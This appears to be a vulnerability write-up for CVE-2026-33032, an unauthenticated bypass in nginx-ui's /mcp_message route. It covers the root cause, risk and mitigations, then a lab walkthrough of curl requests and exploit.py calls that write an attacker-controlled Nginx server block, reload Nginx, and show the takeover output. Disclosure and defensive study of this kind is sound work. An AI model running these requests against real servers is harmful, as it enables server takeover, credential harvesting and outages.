CVE-2026-33032 nginx-ui ≤ 2.3.3 – Unauthenticated MCP Authentication Bypass via Missing AuthRequired() Middleware on /mcp_message
1. Introduction
This document illustrates an unauthenticated authentication bypass in nginx-ui, the open-source web interface used to manage Nginx web servers. The flaw lets an anonymous network client invoke every Model Context Protocol (MCP) tool the panel exposes – including writing Nginx configuration files, reloading Nginx and restarting the process – without ever presenting a credential. It affects all releases up to and including 2.3.3 and was publicly disclosed on 15 April 2026 under the alias MCPwn.
2. nginx-ui Description
nginx-ui is a free, open-source graphical interface for managing Nginx servers, providing site and upstream configuration, certificate issuance, log inspection and process control in a single panel. It is distributed as self-hosted open-source software, is bundled with an official Docker image, and is widely deployed by operators who want a browser-based alternative to editing Nginx configuration by hand.
3. Vulnerability Severity
| CVE ID | CVE-2026-33032 (nginx-ui) |
| Severity | CRITICAL |
| CVSS Score | 9.8 / 10 |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-306 – Missing Authentication for Critical Function |
| Vendor Advisory | GHSA-h6c2-x2m2-mwhf |
| Fixed Versions | nginx-ui 2.3.4 |
| Published | April 15, 2026 |
The flaw is tracked as CWE-306, Missing Authentication for Critical Function, and was added to the CISA Known Exploited Vulnerabilities catalog, indicating active exploitation in the wild.
4. Scope of Impact
- All nginx-ui releases up to and including 2.3.3 are affected.
- The Model Context Protocol integration is enabled by default from v2.2.0 onward, so the vulnerable routes are present without any configuration change.
- The vulnerability is fixed in 2.3.4, released on 15 March 2026.
- The default Docker image uozi/nginx-ui:v2.3.3 is affected; the official image bundles the managed Nginx instance.
5. Where is the vulnerability present?
The vulnerability is present in the Model Context Protocol route registration of nginx-ui, in mcp/router.go. The panel exposes two HTTP endpoints for MCP: /mcp, which opens a persistent Server-Sent Events (SSE) stream and assigns a session identifier, and /mcp_message, which receives every inbound JSON-RPC tool invocation and dispatches it to the MCP handler. Both routes resolve to the same mcp.ServeHTTP() function, but they are registered with different middleware chains.
At tag v2.3.3 the first route carries both middleware.IPWhiteList() and middleware.AuthRequired(), while the second carries only middleware.IPWhiteList(). The authentication middleware call is simply absent from the /mcp_message registration. Tag v2.3.4 adds middleware.AuthRequired() to the second route and nothing else, which confirms the missing call as the whole defect.
The IP whitelist does not compensate for the omission. The IPWhiteList() middleware in internal/middleware/ip_whitelist.go fails open: when no whitelist is configured – the default state, since the authentication settings are initialised without one – it calls the next handler for every request. The authentication boundary therefore depends entirely on the AuthRequired() call that /mcp_message is missing.
Because the request reaches the MCP handler regardless of credentials, an adversary who holds a valid session identifier can drive all twelve registered tools: nginx_config_add, nginx_config_modify, nginx_config_get, nginx_config_list, nginx_config_enable, nginx_config_rename, nginx_config_mkdir, nginx_config_history, nginx_config_base_path, nginx_status, reload_nginx and restart_nginx. The complete chain requires two requests: a GET to /mcp to receive a session identifier over SSE, and a POST to /mcp_message carrying an arbitrary tool invocation. No account, password, token or session cookie is presented on the second request – none of the credential forms that AuthRequired() accepts on /mcp.
6. Risk
The immediate capability is complete control of the managed Nginx service. Once a session identifier is obtained, an attacker writes arbitrary server blocks into the configuration directory and triggers a graceful reload, and the configuration is live immediately. Because nginx.conf includes /etc/nginx/conf.d/*.conf, a single nginx_config_add call is enough to bind any port the server can reach and serve attacker-chosen content.
Confidentiality, integrity and availability are all compromised. An attacker-chosen log_format directive can capture Authorization headers and request bodies to disk, silently harvesting credentials from every site behind the proxy; a server block can redirect traffic to an adversary-controlled upstream or terminate TLS with a freshly generated certificate. Integrity is affected directly because configuration files are rewritten without operator review, and availability is lost the moment restart_nginx is called with a configuration that fails to parse, taking every site on the host down. nginx_config_modify additionally allows rewriting the main nginx.conf itself, so the change survives routine configuration review.
The weakness also compounds with any separate disclosure of the node secret, which nginx-ui accepts in place of a user token. An adversary who obtains that secret from a world-readable configuration file, a backup archive, or cluster enrolment obtains administrator-equivalent access to the entire panel – not only the MCP tools but every authenticated API route. The closely related flaw CVE-2026-27944, reported alongside this issue, concerns unauthenticated credential and SSL private key exfiltration through the panel’s backup endpoint. Exploitation is low-complexity, fully automatable and requires no user interaction, which is reflected in the CVSS 3.1 score of 9.8. Operators running unpatched, internet-exposed nginx-ui instances should treat them as potentially compromised.
7. Mitigation
- Upgrade to nginx-ui 2.3.4 or later, which adds middleware.AuthRequired() to the /mcp_message route – see the vendor advisory GHSA-h6c2-x2m2-mwhf and the fix commit.
- Restrict network access to the nginx-ui management port (9000 by default) and never expose it to the public internet; place it behind an authenticated reverse proxy or VPN.
- Review and, where practical, populate the IP whitelist so it is no longer empty. Note this is a partial mitigation only: the middleware fails open when the list is empty, and it does not repair the missing authentication call.
- Treat any nginx-ui instance that has ever exposed port 9000 to untrusted networks as compromised. Rotate TLS private keys, database credentials, and any credential that was transiting the proxy, and audit configuration files for attacker-written server blocks and unusual log_format directives.
- Monitor access logs for unauthenticated requests to /mcp_message, unexpected reload and restart events, and new files appearing in the Nginx configuration directory.
- As a compensating control, deploy a Web Application Firewall (WAF) rule that blocks requests to /mcp_message originating outside the administrative network. This is partial: the underlying routing defect remains until the upgrade is applied.
8. Exploit Implementation
Attack Scenario
The exploitation below was validated against an isolated, Docker-based lab running the official vulnerable image uozi/nginx-ui:v2.3.3 (nginx-ui 2.3.3 1(513) e5da6dd9), a default installation with no account created and no IP whitelist configured. The management interface is exposed on http://localhost:9000 and the bundled Nginx instance on http://localhost:80. Because the stock build ships no default server block, port 80 answers nothing until an attacker writes one – which makes the takeover directly observable.
Prerequisites:
- Nuclei with the ProjectDiscovery nuclei-templates repository (for confirmation scan)
- curl (manual exploitation)
- Python 3 (standard library only – to run the provided exploit.py; no pip install required)
Exploitation
- Confirm the vulnerable target is accessible.
curl -s -o /dev/null -w “%{http_code}\n” http://localhost:9000/
# 200
curl -s -o /dev/null -w “%{http_code}\n” http://localhost:9000/api/settings
# 403

The management interface answers on port 9000. GET /api/settings returns 403 on the stock build – the settings endpoint is registered inside the authenticated API group, so it is not an information-disclosure path on this version and the node secret must be obtained separately.
- Run the official Nuclei template to confirm the vulnerability.
cd /Users/nishchaymanhas/Documents/Blogs_CVE/CVE-2026-33032
nuclei -t nuclei-templates/CVE-2026-33032.yaml -u http://localhost:9000 -v

The template sends a single unauthenticated request. It is response-based, requires no out-of-band infrastructure, and matches HTTP 400 together with a JSON-RPC error body – the signature of a request that reached the MCP handler instead of being refused by the authentication middleware. It must be pointed at port 9000; /mcp_message does not exist on the Nginx site.
- Demonstrate the authentication asymmetry between the paired routes.
curl -s -o /dev/null -w “%{http_code}\n” http://localhost:9000/mcp
# 403
curl -s -X POST http://localhost:9000/mcp_message \
-H “Content-Type: application/json” \
-d ‘{“jsonrpc”:”2.0″,”method”:”initialize”,”params”:{“protocolVersion”:”2024-11-05″,”capabilities”:{},”clientInfo”:{“name”:”probe”,”version”:”1.0″}},”id”:1}’
# {“jsonrpc”:”2.0″,”id”:null,”error”:{“code”:-32602,”message”:”Missing sessionId”}}

The identical unauthenticated request is refused by /mcp with 403 but answered by /mcp_message with a JSON-RPC error from the MCP handler itself. That error is only reachable when the missing AuthRequired() call has let the request through, so the whole vulnerability is visible in this single differential.
- Obtain an MCP session and invoke a tool with no credentials.
cd /Users/nishchaymanhas/Documents/Blogs_CVE/CVE-2026-33032
python3 exploit.py –url http://localhost:9000 –lab-container

The script opens the SSE stream to /mcp, reads the sessionId from the event: endpoint frame, then POSTs a tools/call for nginx_status to /mcp_message with no Authorization header, no token parameter and no cookie. The POST returns HTTP 202 and the JSON-RPC result arrives on the SSE stream as {“level”:-1,”message”:””,”running”:true}, confirming unauthenticated tool execution with full privilege. Two protocol details matter for manual reproduction: the SSE secret is passed as node_secret (the ?secret= spelling returns 403), and the session is destroyed the moment the SSE socket closes, so the stream must be held open while the tool call is issued.
- Write an attacker-controlled server block and reload Nginx, both unauthenticated.
cd /Users/nishchaymanhas/Documents/Blogs_CVE/CVE-2026-33032
python3 exploit.py –url http://localhost:9000 –lab-container \
–tool nginx_config_add \
–args ‘{“base_dir”:”conf.d”,”name”:”cve-2026-33032-proof.conf”,”overwrite”:true,”sync_node_ids”:[],”content”:”# CVE-2026-33032 (MCPwn) proof of takeover\n# Written by an UNAUTHENTICATED attacker via /mcp_message\nserver {\n listen 80;\n server_name _;\n location / {\n default_type text/plain;\n return 200 \”pwned-by-cve-2026-33032\”;\n }\n}”}’
python3 exploit.py –url http://localhost:9000 –lab-container \
–tool reload_nginx –args ‘{}’


The nginx_config_add handler writes the file and immediately reloads Nginx itself, and the explicit reload_nginx call confirms the process-control tools are equally unauthenticated. The written file is verifiable on disk at /etc/nginx/conf.d/cve-2026-33032-proof.conf. Note that the filename must end in .conf for the include /etc/nginx/conf.d/*.conf directive to load it, and that base_dir is a required argument.
- Verify the takeover.
curl -i http://localhost:80/

HTTP/1.1 200 OK
Server: nginx/1.29.5
Content-Type: text/plain
Content-Length: 23
pwned-by-cve-2026-33032
The Nginx server now serves attacker-controlled content on port 80. The same unauthenticated channel also permits nginx_config_modify against the main nginx.conf, nginx_config_list to enumerate existing configuration, and restart_nginx for outright denial of service – the configuration change is also persistent, surviving until an operator notices and reverts it.